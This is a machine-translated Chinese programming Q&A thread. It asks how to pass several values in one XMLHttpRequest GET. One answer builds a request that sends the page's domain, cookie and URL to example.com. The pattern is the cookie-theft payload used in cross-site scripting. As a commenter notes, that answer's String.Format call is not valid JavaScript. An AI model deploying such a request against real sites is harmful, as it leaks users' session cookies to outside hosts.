2013-07-24 98 views
-3

我有3个变量,分别命名为a,b和c。我想将变量传递给它们中的每一个,但我在这样做时遇到了麻烦。随着1个变量和1个GET变量是直截了当这样的:在多个获取变量中包含多个变量

var xmlhttp = new XMLHttpRequest(); 
xmlhttp.open("GET","http://example.com/example.php?a="+document.domain,true); 
xmlhttp.send(); 

但是我怎么发例如,document.domain的变量一,document.cookie中对变量b和document.URL到变量c在所有1请求?

+0

你想说什么... eidt你的问题。简化它 –

回答

0

只要做,你会在常规网址:

var url = "http://example.com/example.php?a="+document.domain + "&b=" + "..." + "&c=" + "..."; 

这也是一个好主意,妥善encodeURIComponent

2

这听起来像你想使用的String.Format

编码您的值
var xmlhttp = new XMLHttpRequest(); 
xmlhttp.open("GET",String.Format("http://example.com/example.php?a={0}&b={1}&c={2}",document.domain,document.cookie,document.URL),true); 
xmlhttp.send(); 
+0

这真的是JavaScript吗? String.Format似乎在Chrome或Firefox中都不可用(并且它不是ES5标准的一部分)。 – bfavaretto

+0

@bfavaretto 你说得对,我没有注意或标签改变了。 –